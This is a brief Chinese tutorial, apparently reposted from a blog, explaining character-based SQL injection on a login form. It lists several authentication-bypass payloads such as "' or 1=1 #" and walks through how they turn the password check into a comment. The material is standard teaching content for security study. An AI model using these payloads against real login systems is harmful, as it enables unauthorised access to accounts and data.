Example 1:
1.输入:' 试探一下 结果如下图所示,出现报错:SELECT * FROM users WHERE username=’’’ AND password=’' 2.从报错的语句可以看出:这是一个字符型的注入。(毕竟用单引号自动闭合了) username=’’’ AND passwo=’' ①很明显的可以看出,在用户名内输入一个单引号的结果是:''' ②很明显的可以看出,在密码处不输入,结果是:''
3.好了,我们尝试一下最最简单的一种万能密码:
' or 1=1 #
' or 1=1 --
' or '1'='1' #
' or '1'='1' --
' or 'a'='a' #
' or 'a'='a' --
以上任何一种都可以,那么为什么呢?开始分析一下! 源码:SELECT FROM users WHERE username=''' AND password='' 输入注入语句:' or 1=1 # 最终构造成的语句,也就是在Sql服务器里面执行的语句:SELECT FROM users WHERE username='' or 1=1 #’ AND password=’’ //#是注释符号,后面的语句全都被注释掉了,-- 也是注释符(注意是:减号减号空格)
本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/qq_45555226/article/details/102889759